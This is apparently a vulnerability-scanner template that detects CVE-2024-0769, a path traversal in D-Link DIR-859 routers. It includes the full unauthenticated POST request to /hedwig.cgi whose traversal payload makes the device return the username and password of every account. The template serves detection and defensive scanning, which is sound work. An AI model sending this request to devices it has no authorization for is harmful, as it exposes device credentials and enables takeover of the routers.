id: CVE-2024-0769

info:
  name: "D-Link DIR-859 - Path Traversal Information Disclosure"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    D-Link DIR-859 Wi-Fi routers (firmware 1.06B01, end-of-life) expose the /hedwig.cgi HTTP POST
    handler, which builds a configuration-file path from the attacker-controlled <service> XML element
    without neutralising directory-traversal sequences. A remote, unauthenticated attacker can traverse
    to the internal getcfg DEVICE.ACCOUNT.xml handler and have the device render the account
    configuration, disclosing the username and password of every device account. Actively exploited in
    the wild (CISA KEV). Detection logic modelled on the public Metasploit retrieve_creds module
    (Exploit-DB 43143) and the GreyNoise exploitation analysis.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-0769&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dlink&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0769
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2024,dlink,dir-859,traversal,lfi,kev,unauth

http:
  - raw:
      - |
        POST /hedwig.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml
        Accept: */*

        <?xml version="1.0" encoding="utf-8"?>
        <postxml>
        <module>
        <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>
        </module>
        </postxml>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "<password>.*</password>"

      - type: word
        part: body
        words:
          - "<name>"

      - type: status
        status:
          - 200